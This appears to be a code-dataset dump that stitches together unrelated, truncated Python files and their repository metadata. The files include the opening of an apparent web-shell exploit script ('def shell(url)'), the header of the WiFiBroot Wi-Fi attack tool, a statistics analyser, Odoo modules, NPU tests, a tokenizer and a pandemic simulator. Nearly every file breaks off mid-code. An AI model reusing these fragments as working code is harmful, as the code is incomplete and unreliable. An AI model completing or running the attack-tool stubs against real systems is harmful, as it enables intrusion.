# -*- coding: utf-8 -*- # @Author: lock # @Date: 2017-11-04 21:17:40 # @Last Modified by: lock # @Last Modified time: 2017-11-10 11:31:59 import requests import optparse def shell(url): if url.startswith('http://'): pass elif url.startswith('https://'): pass else: url = 'http:...
40.288889
540
0.702703
dd73d0670e885439bdc17d7c7cd1c2090d50d63d
14,760
py
Python
scripts/data_analyser.py
puv13/nspt-scripts
bba4c794858f34894adc2f82fd530ed5ff52f691
[ "MIT" ]
null
null
null
scripts/data_analyser.py
puv13/nspt-scripts
bba4c794858f34894adc2f82fd530ed5ff52f691
[ "MIT" ]
null
null
null
scripts/data_analyser.py
puv13/nspt-scripts
bba4c794858f34894adc2f82fd530ed5ff52f691
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """ This is a script to do basic statistical analysis on data files. It is assumed that the data are given by white-space separated columns of numbers. Lines starting with a '#' character are treated as comments. By default the mean over the columns and the corresponding s...
33.020134
81
0.47622
663c62fec6b9a0702c42330a7ca2cca72186ab01
2,501
py
Python
plugins/tff_backend/bizz/agreements/document.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
null
null
null
plugins/tff_backend/bizz/agreements/document.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
178
2017-08-02T12:58:06.000Z
2017-12-20T15:01:12.000Z
plugins/tff_backend/bizz/agreements/document.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
2
2018-01-10T10:43:12.000Z
2018-03-18T10:42:23.000Z
# -*- coding: utf-8 -*- # Copyright 2018 GIG Technology NV # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable...
43.877193
116
0.707317
b0cb4fee72db931c4808fd0e5e73edd7f43e8a28
1,312
py
Python
Problems/Depth-First Search/medium/DeepestLeavesSum/deepest_leaves_sum.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
1
2021-08-16T14:52:05.000Z
2021-08-16T14:52:05.000Z
Problems/Depth-First Search/medium/DeepestLeavesSum/deepest_leaves_sum.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Problems/Depth-First Search/medium/DeepestLeavesSum/deepest_leaves_sum.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
from typing import Optional # Definition for a binary tree node. class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right # Recursive def deepestLeavesSum(self, root: Optional[TreeNode]) -> int: sum_leaves, self.depth = [0], ...
25.72549
70
0.594512
afc397744dde7c6ae0f133c14e5e745ed10e950b
41,686
py
Python
Contrib-Microsoft/Olympus_rack_manager/python-ocs/ocscli/ocs_rackmanager_action.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
5
2019-11-11T07:57:26.000Z
2022-03-28T08:26:53.000Z
Contrib-Microsoft/Olympus_rack_manager/python-ocs/ocscli/ocs_rackmanager_action.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
3
2019-09-05T21:47:07.000Z
2019-09-17T18:10:45.000Z
Contrib-Microsoft/Olympus_rack_manager/python-ocs/ocscli/ocs_rackmanager_action.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
11
2019-07-20T00:16:32.000Z
2022-01-11T14:17:48.000Z
# Copyright (C) Microsoft Corporation. All rights reserved. # This program is free software; you can redistribute it # and/or modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. #!/usr/bin...
55.140212
188
0.605023
bbce83990d7027694d62832af9a32e94ba57dd0e
51
py
Python
probieren.py
Patsch36/ProjektMichaela-Rebecca-Tim
ca21d117b5073d1e91943bdfdb4a55ccaa628e64
[ "Apache-2.0" ]
null
null
null
probieren.py
Patsch36/ProjektMichaela-Rebecca-Tim
ca21d117b5073d1e91943bdfdb4a55ccaa628e64
[ "Apache-2.0" ]
null
null
null
probieren.py
Patsch36/ProjektMichaela-Rebecca-Tim
ca21d117b5073d1e91943bdfdb4a55ccaa628e64
[ "Apache-2.0" ]
null
null
null
lst = [1, 2, 3, 4] for i in lst: print(i)
10.2
19
0.431373
bbe657a5613d7796a44330074cd988ac2f1986d6
6,105
py
Python
WiFiBroot-master/wireless/shifter.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
WiFiBroot-master/wireless/shifter.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
WiFiBroot-master/wireless/shifter.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
# Shifter.py from scapy.layers.dot11 import Dot11Beacon from scapy.layers.dot11 import Dot11 from scapy.layers.dot11 import Dot11Elt from scapy.layers.dot11 import RadioTap from scapy.sendrecv import sniff from scapy.config import conf from scapy.utils import PcapWriter from scapy.utils import rdpcap from utils import...
29.926471
176
0.629648
a5ac01c529c17353d4bfb3d77218f596021f6c70
15,098
py
Python
pyLS/analyze_project.py
swharden/ROI-Analysis-Pipeline
e83d96c43fdd50cb44be365289e964576492617e
[ "MIT" ]
4
2017-06-20T19:56:22.000Z
2021-05-29T10:07:47.000Z
pyLS/analyze_project.py
swharden/ROI-Analysis-Pipeline
e83d96c43fdd50cb44be365289e964576492617e
[ "MIT" ]
11
2017-05-31T19:14:32.000Z
2018-09-12T23:44:11.000Z
pyLS/analyze_project.py
swharden/ROI-Analysis-Pipeline
e83d96c43fdd50cb44be365289e964576492617e
[ "MIT" ]
2
2017-06-20T17:14:38.000Z
2017-06-20T19:51:34.000Z
""" Code here relates to analysis of two-photon project folders which are arranged to contain ephys (ABFs), traditional imaging (TIFs), and two-photon imaging (linescans, single scans, t-series, and z-series) data. PROJECT FOLDER STRUCTURE There is a new project format. Here, each patched cell gets a parent folder: ...
41.027174
125
0.56842
ab8912182a60657da8bb0f64bc090669fd3ee129
482
py
Python
scripts/validate_bsdd.py
jdehotin/IFC4.3.x-development
5652a25dac27242af8c60f1a33206d1697948ffa
[ "FSFAP" ]
1
2021-08-31T16:12:09.000Z
2021-08-31T16:12:09.000Z
scripts/validate_bsdd.py
Moult/IFC4.3.x-development
5dfacdc91f04b446f9d7386b950099fc14e6587e
[ "FSFAP" ]
null
null
null
scripts/validate_bsdd.py
Moult/IFC4.3.x-development
5dfacdc91f04b446f9d7386b950099fc14e6587e
[ "FSFAP" ]
null
null
null
import sys import json d = json.load(open(sys.argv[1])) roots = {k for k, v in d['Domain']['Classifications'].items() if not v.get('Parent')} print("Roots:", *roots) assert roots == {'IfcRoot', 'IfcMaterialDefinition', 'IfcProfileDef'} for k, v in d['Domain']['Classifications'].items(): if v.get('Parent') and v.g...
34.428571
88
0.63278
057987e4cd6b7c41c2d3e293dce3423d4ec37720
2,535
py
Python
test/test_npu/test_zeros_like.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-12-02T03:07:35.000Z
2021-12-02T03:07:35.000Z
test/test_npu/test_zeros_like.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-11-12T07:23:03.000Z
2021-11-12T08:28:13.000Z
test/test_npu/test_zeros_like.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2020, Huawei Technologies. # Copyright (c) 2019, Facebook CORPORATION. # All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://opensource.org/licenses/BS...
36.73913
74
0.664694
e9a0c16a2024356b0bef4c7a7f13897bdebd2532
413
py
Python
tokenizer/java/java_tokenizer.py
Submitty/Lichen
a45457ed5e46ef12216bdf6c7051209bc00c4dff
[ "BSD-3-Clause" ]
5
2019-03-04T12:59:53.000Z
2022-03-25T03:07:00.000Z
tokenizer/java/java_tokenizer.py
Submitty/Lichen
a45457ed5e46ef12216bdf6c7051209bc00c4dff
[ "BSD-3-Clause" ]
12
2018-06-05T16:35:31.000Z
2022-02-14T21:43:40.000Z
tokenizer/java/java_tokenizer.py
Submitty/Lichen
a45457ed5e46ef12216bdf6c7051209bc00c4dff
[ "BSD-3-Clause" ]
2
2018-06-05T18:00:09.000Z
2019-03-04T12:59:57.000Z
import javac_parser import json import sys java = javac_parser.Java() file = open(sys.argv[1], 'r') file_content = file.read() tokens = [] for token in java.lex(file_content): tmp = dict() tmp["line"] = token[2][0] tmp["char"] = token[2][1]+1 tmp["type"] = str(token[0]) tmp["value"] = str(token[...
18.772727
51
0.634383
75d336c05116876038e38c7808b86e8754ab2fdb
671
py
Python
INBa/2015/RotkinAM/Zadacha_4_21.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
INBa/2015/RotkinAM/Zadacha_4_21.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
INBa/2015/RotkinAM/Zadacha_4_21.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
# Задача 4. Вариант 21. # Напишите программу, которая будет сообщать род деятельности и псевдоним под которым скрывается Эдсон Арантис ду Насименту. После вывода информации программа должна дожидаться пока пользователь нажмет Enter для выхода. # Rotkin A. M. # 23.04.2016 name = "Филип Ауреол Теофраст Бомбаст фон Гоген...
33.55
219
0.742176
34ea37863ddb1e3f19812ff915c26712f61d8c76
1,619
py
Python
authApp/serializers/transactionSerializer.py
xlausae/Web-Service
fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5
[ "MIT" ]
null
null
null
authApp/serializers/transactionSerializer.py
xlausae/Web-Service
fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5
[ "MIT" ]
1
2022-01-05T23:52:37.000Z
2022-01-05T23:52:37.000Z
authApp/serializers/transactionSerializer.py
xlausae/Web-Service
fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5
[ "MIT" ]
null
null
null
from authApp.models.transaction import Transaction from authApp.models.account import Account from rest_framework import serializers class TransactionSerializer(serializers.ModelSerializer): class Meta: model = Transaction fields = [ 'origin_account', 'destiny_account', 'amount', ...
41.512821
103
0.591106
9b924a47926612a073b96c330ab89bc116736fdd
868
py
Python
setup.py
datumbox/model-index
a39af5f8aaa2a90b8fc7180744a855282360067a
[ "MIT" ]
12
2021-02-26T08:19:00.000Z
2022-01-26T14:00:16.000Z
setup.py
datumbox/model-index
a39af5f8aaa2a90b8fc7180744a855282360067a
[ "MIT" ]
null
null
null
setup.py
datumbox/model-index
a39af5f8aaa2a90b8fc7180744a855282360067a
[ "MIT" ]
3
2021-03-19T13:51:56.000Z
2021-08-25T05:25:52.000Z
from setuptools import setup, find_packages from modelindex import __version__ name = "model-index" author = "Robert Stojnic" author_email = "hello@paperswithcode.com" url = "https://github.com/paperswithcode/model-index" setup( name=name, version=__version__, author=author, author_email=author_email...
28.933333
98
0.705069
9e8260e3a961b95377d149296c6b04ab6760b568
42,082
py
Python
tests/onegov/event/test_collections.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/event/test_collections.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/event/test_collections.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from datetime import date from datetime import datetime from datetime import timedelta from freezegun import freeze_time from onegov.event import Event from onegov.event import EventCollection from onegov.event.collections.events import EventImportItem from onegov.event import Occurrence from onegov.event import Occurr...
36.946444
79
0.583765
93e785ec0c6c9cfa4a2fd0fcb7b790331c7733e2
3,482
py
Python
test/test_npu/test_network_ops/test_batch_norm.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-12-02T03:07:35.000Z
2021-12-02T03:07:35.000Z
test/test_npu/test_network_ops/test_batch_norm.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-11-12T07:23:03.000Z
2021-11-12T08:28:13.000Z
test/test_npu/test_network_ops/test_batch_norm.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2020, Huawei Technologies.All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://opensource.org/licenses/BSD-3-Clause # # Unless required by applicable law...
44.075949
81
0.562608
1914b207e41c0320114adc223367d507414be88f
6,185
py
Python
util.py
Limatationz/pandemiesimulator
91d21fda2f9c77d616a9e9401271fc044b421007
[ "MIT" ]
null
null
null
util.py
Limatationz/pandemiesimulator
91d21fda2f9c77d616a9e9401271fc044b421007
[ "MIT" ]
null
null
null
util.py
Limatationz/pandemiesimulator
91d21fda2f9c77d616a9e9401271fc044b421007
[ "MIT" ]
null
null
null
""" Contains static functions """ import csv import datetime import math import os import urllib.request import webbrowser from datetime import date, timedelta from PyQt5.QtGui import QBrush, QPixmap, QPen from constants import COLOR_GRAY, COLOR_YELLOW, COLOR_RED, COLOR_GREEN, POPULATION_GERMANY, BETTER_PRESET_SI...
25.142276
119
0.626677
27414b83f959bf191fb3cca2a80b79e7b3b632cf
412
py
Python
BITs/2014/Gasanov_A_F/task_3_9.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
BITs/2014/Gasanov_A_F/task_3_9.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
BITs/2014/Gasanov_A_F/task_3_9.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
#Задача №1 Вариант 9 #Программа выводит имя и запрашивает его псевдоним #Гасанов АФ #29.02.2016 print ("Герой нашей сегоднящней программы - Доменико Теотокопули") psev=input("Под каким же именем мы знаем этого человека? Ваш ответ:") if (psev)==("Эль Греко"): print ("Всё верно: - Доменико Теотокопули"+psev)...
29.428571
70
0.713592
fdc5be72f57bce2d538c16d1d343b178b79a7ce6
2,665
py
Python
Scripts/buildBlueprint.py
HuttonICS/API
22d61759a77f2ab3c4e610bb251684c78f71d2e6
[ "MIT" ]
40
2016-09-13T12:54:11.000Z
2021-09-05T18:45:38.000Z
Scripts/buildBlueprint.py
HuttonICS/API
22d61759a77f2ab3c4e610bb251684c78f71d2e6
[ "MIT" ]
351
2016-08-10T17:58:38.000Z
2021-09-15T12:19:48.000Z
Scripts/buildBlueprint.py
HuttonICS/API
22d61759a77f2ab3c4e610bb251684c78f71d2e6
[ "MIT" ]
32
2016-09-09T16:04:01.000Z
2021-01-21T13:27:40.000Z
#! /usr/bin/env python import sys import json import glob import yaml import re import os def go(): outPath = './' headerPath = './swaggerMetaData.yaml' sourcePath = './' if '-out' in sys.argv: i = sys.argv.index('-out') outPath = sys.argv[i + 1] if outPath[-1] != '/': outPath = outPath + '/' i...
28.967391
135
0.610882
e32cc4f952d2062fdf17673def2e20d193b43e4a
580
py
Python
tools/log.py
madkarl/scmt
1250eb4681f1a5dac91c5a75f15af5b2a9ae0cd5
[ "Apache-2.0" ]
null
null
null
tools/log.py
madkarl/scmt
1250eb4681f1a5dac91c5a75f15af5b2a9ae0cd5
[ "Apache-2.0" ]
null
null
null
tools/log.py
madkarl/scmt
1250eb4681f1a5dac91c5a75f15af5b2a9ae0cd5
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python3 # -*- coding : utf8 -*- import logging try: import conf LOG_NAME = conf.LOGGER_NAME except: LOG_NAME = "LOG" pass def get_logger(name=None): if not name: return logging.getLogger(LOG_NAME) else: return logging.getLogger(name) def conf_logger(name=None, le...
22.307692
87
0.662069
9a3d1a92c74ab05b6604fca00b18dd10c0d01030
4,427
py
Python
pyScript/custom_src/tests.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
pyScript/custom_src/tests.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
pyScript/custom_src/tests.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
import sys import random import math import pickle import os from PySide2.QtWidgets import QMainWindow, QApplication, QWidget, QVBoxLayout, QPlainTextEdit, QGraphicsView, QGraphicsScene, QGraphicsProxyWidget, QAction, QMenu from PySide2.QtGui import QFont, QColor, QImage, QPainter, QPen, QBrush from PySide2.QtCore imp...
23.42328
162
0.579851
9a5fef90c86aaccb7518c54ffccc1f532facb782
293
py
Python
frappe-bench/apps/erpnext/erpnext/patches/v8_5/update_customer_group_in_POS_profile.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/patches/v8_5/update_customer_group_in_POS_profile.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/patches/v8_5/update_customer_group_in_POS_profile.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
import frappe def execute(): frappe.reload_doctype('POS Profile') customer_group = frappe.db.get_single_value('Selling Settings', 'customer_group') if customer_group: frappe.db.sql(""" update `tabPOS Profile` set customer_group = %s where customer_group is null """, (customer_group))
36.625
82
0.757679
d0387bdaf1fad8da0129dab0596df1d48c19a4e2
193
py
Python
backend/api/btb/api/constants.py
prototypefund/project-c
a87a49d7c1317b1e3ec03ddd0ce146ad0391b5d2
[ "MIT" ]
4
2020-04-30T16:11:24.000Z
2020-06-02T10:08:07.000Z
backend/api/btb/api/constants.py
prototypefund/project-c
a87a49d7c1317b1e3ec03ddd0ce146ad0391b5d2
[ "MIT" ]
291
2020-04-20T13:11:13.000Z
2022-02-10T21:54:46.000Z
backend/api/btb/api/constants.py
prototypefund/project-c
a87a49d7c1317b1e3ec03ddd0ce146ad0391b5d2
[ "MIT" ]
2
2020-04-19T14:56:01.000Z
2020-04-19T18:09:34.000Z
from enum import IntEnum # also update frontend/constants/inputLengths.ts class InputLengths(IntEnum): ULTRA_SHORT_STRING = 12 SHORT_STRING = 50 MIDDLE_STRING = 150 LONG_STRING = 2000
24.125
48
0.782383
de5374b59b3a96bf3cb56ece6f01aa78ac387012
680
py
Python
reverse.py
aertoria/MiscCode
a2e94d0fe0890e6620972f84adcb7976ca9f1408
[ "Apache-2.0" ]
null
null
null
reverse.py
aertoria/MiscCode
a2e94d0fe0890e6620972f84adcb7976ca9f1408
[ "Apache-2.0" ]
null
null
null
reverse.py
aertoria/MiscCode
a2e94d0fe0890e6620972f84adcb7976ca9f1408
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python #Given s = "the sky is blue", #return "blue is sky the". # Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: # @param {TreeNode} p # @param {TreeNode} q # @return {boolea...
16.585366
98
0.588235
72097518590b941460d6dba03e9110d43200001d
1,905
py
Python
plugins/tff_backend/bizz/nodes/telegram.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
null
null
null
plugins/tff_backend/bizz/nodes/telegram.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
178
2017-08-02T12:58:06.000Z
2017-12-20T15:01:12.000Z
plugins/tff_backend/bizz/nodes/telegram.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
2
2018-01-10T10:43:12.000Z
2018-03-18T10:42:23.000Z
# -*- coding: utf-8 -*- # Copyright 2018 GIG Technology NV # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable...
34.017857
108
0.72126
dfa7c81ae557b92342ea59816682fe1c75d231f4
221
py
Python
autojail/extract/__init__.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
6
2020-08-12T08:16:15.000Z
2022-03-05T02:25:53.000Z
autojail/extract/__init__.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
1
2021-03-30T10:34:51.000Z
2021-06-09T11:24:00.000Z
autojail/extract/__init__.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
1
2021-11-21T09:30:58.000Z
2021-11-21T09:30:58.000Z
from .board import BoardInfoExtractor # type: ignore from .clock_info import ClockInfoExtractor from .device_tree import DeviceTreeExtractor __all__ = ["BoardInfoExtractor", "DeviceTreeExtractor", "ClockInfoExtractor"]
36.833333
77
0.828054
2653ed2fa35e565142782e5fa858a27a34183836
4,380
py
Python
fabfile.py
nexiles/odoo.wochenbericht
41f43327d40f849dc21e2b645810d562543fa073
[ "MIT" ]
null
null
null
fabfile.py
nexiles/odoo.wochenbericht
41f43327d40f849dc21e2b645810d562543fa073
[ "MIT" ]
null
null
null
fabfile.py
nexiles/odoo.wochenbericht
41f43327d40f849dc21e2b645810d562543fa073
[ "MIT" ]
null
null
null
import os import sys import glob import datetime import erppeek import xmlrpclib from fabric.api import task, hosts from fabric.api import local, env, prompt, execute, lcd, run, put from fabric.context_managers import quiet from fabric import colors # see: http://fabric.readthedocs.org/en/1.8/usage/execution.html#lev...
35.609756
179
0.672374
26bc292844c14d264d1cb9a777b9605ec578870a
2,528
py
Python
autojail/config/root_shared.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
6
2020-08-12T08:16:15.000Z
2022-03-05T02:25:53.000Z
autojail/config/root_shared.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
1
2021-03-30T10:34:51.000Z
2021-06-09T11:24:00.000Z
autojail/config/root_shared.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
1
2021-11-21T09:30:58.000Z
2021-11-21T09:30:58.000Z
from typing import Tuple from ..model import Board, JailhouseConfig, MemoryRegionData from ..utils import get_overlap from .passes import BasePass class InferRootSharedPass(BasePass): def __call__( self, board: Board, config: JailhouseConfig ) -> Tuple[Board, JailhouseConfig]: root_cell = Non...
36.114286
88
0.477057
26d6927651c93b734a91780c21bfbd245437a7a3
639
py
Python
sax.py
ligang945/pyMisc
3107c80f7f53ffc797b289ec73d1ef4db80f0b63
[ "MIT" ]
null
null
null
sax.py
ligang945/pyMisc
3107c80f7f53ffc797b289ec73d1ef4db80f0b63
[ "MIT" ]
null
null
null
sax.py
ligang945/pyMisc
3107c80f7f53ffc797b289ec73d1ef4db80f0b63
[ "MIT" ]
null
null
null
#!usr/bin/env python import sys,os,re from xml.sax import handler,parseString class LG_Handler(handler.ContentHandler): def __init__(self): handler.ContentHandler.__init__(self) self.content='' def startDocument(self): print 'Document Start...' def endDocument(self): print 'Document End...' d...
26.625
47
0.688576
e4156f13b7af13b06bcc12f39db751f8b5cf71bb
1,349
py
Python
retro/cores/gba/src/platform/python/mgba/png.py
MatPoliquin/retro
c70c174a9818d1e97bc36e61abb4694d28fc68e1
[ "MIT-0", "MIT" ]
2,706
2018-04-05T18:28:50.000Z
2022-03-29T16:56:59.000Z
retro/cores/gba/src/platform/python/mgba/png.py
MatPoliquin/retro
c70c174a9818d1e97bc36e61abb4694d28fc68e1
[ "MIT-0", "MIT" ]
242
2018-04-05T22:30:42.000Z
2022-03-19T01:55:11.000Z
retro/cores/gba/src/platform/python/mgba/png.py
MatPoliquin/retro
c70c174a9818d1e97bc36e61abb4694d28fc68e1
[ "MIT-0", "MIT" ]
464
2018-04-05T19:10:34.000Z
2022-03-28T13:33:32.000Z
# Copyright (c) 2013-2016 Jeffrey Pfau # # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from ._pylib import ffi, lib from . import vfs MODE_RGB = 0 MODE_RGBA = 1 MODE_...
33.725
95
0.727947
5f5a48092745506f6da8035a5b6427d0cfd019a7
959
py
Python
lanz/migrations/0003_auto_20200918_1757.py
linemax/lanz
c7f6eb150c260f088faa8255f0b15fcc9435c4af
[ "Apache-2.0" ]
null
null
null
lanz/migrations/0003_auto_20200918_1757.py
linemax/lanz
c7f6eb150c260f088faa8255f0b15fcc9435c4af
[ "Apache-2.0" ]
null
null
null
lanz/migrations/0003_auto_20200918_1757.py
linemax/lanz
c7f6eb150c260f088faa8255f0b15fcc9435c4af
[ "Apache-2.0" ]
null
null
null
# Generated by Django 3.1.1 on 2020-09-18 17:57 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('lanz', '0002_auto_20200918_1756'), ] operations = [ migrations.AlterField( model_name='post', name='b2', ...
28.205882
186
0.578728
8a148ba355946344ac97438f7cba60b17d599e09
9,461
py
Python
src/test/visit_test_common.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
226
2018-12-29T01:13:49.000Z
2022-03-30T19:16:31.000Z
src/test/visit_test_common.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
5,100
2019-01-14T18:19:25.000Z
2022-03-31T23:08:36.000Z
src/test/visit_test_common.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
84
2019-01-24T17:41:50.000Z
2022-03-10T10:01:46.000Z
# Copyright (c) Lawrence Livermore National Security, LLC and other VisIt # Project developers. See the top-level LICENSE file for dates and other # details. No copyright assignment is required to contribute to VisIt. """ file: visit_test_common.py description: author: Cyrus Harrison date: """ import subprocess impo...
33.08042
111
0.485361
0a48b101cb6cdd1f1d9721ec643dbcb5e0ca0a10
1,146
py
Python
hackfb.py
chmodv1/Hackfb
f27038b472ce013785e38c1fa8e30cdc457f9713
[ "Apache-2.0" ]
1
2019-12-16T14:52:24.000Z
2019-12-16T14:52:24.000Z
hackfb.py
chmodv1/Hackfb
f27038b472ce013785e38c1fa8e30cdc457f9713
[ "Apache-2.0" ]
null
null
null
hackfb.py
chmodv1/Hackfb
f27038b472ce013785e38c1fa8e30cdc457f9713
[ "Apache-2.0" ]
null
null
null
import os, sys print ("Menginstall paket.........") os.system('pip install yagmail') os.system('pip install termcolor') import yagmail from termcolor import colored print (colored('paket selesai di install.','blue')) baner = """ ___________ ___. __ \_ _____/____ ____ ____\_ |...
44.076923
96
0.584642
6ad9399ec8f8149baad5f00382ba4e6cee5ff63b
15,095
py
Python
Packs/FireEyeCM/Integrations/FireEyeCM/FireEyeCM_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/FireEyeCM/Integrations/FireEyeCM/FireEyeCM_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/FireEyeCM/Integrations/FireEyeCM/FireEyeCM_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import io import pytest from FireEyeCM import * from test_data.result_constants import QUARANTINED_EMAILS_CONTEXT, GET_ALERTS_CONTEXT, GET_ALERTS_DETAILS_CONTEXT, \ GET_ARTIFACTS_METADATA_CONTEXT, GET_EVENTS_CONTEXT def util_load_json(path): with io.open(path, mode='r', encoding='utf-8') as f: retur...
41.13079
116
0.663597
0aac5b180ba8e65af080c34c141a49ccf9c51d1f
688
py
Python
exercises/en/exc_01_12_03.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/en/exc_01_12_03.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/en/exc_01_12_03.py
Jette16/spacy-course
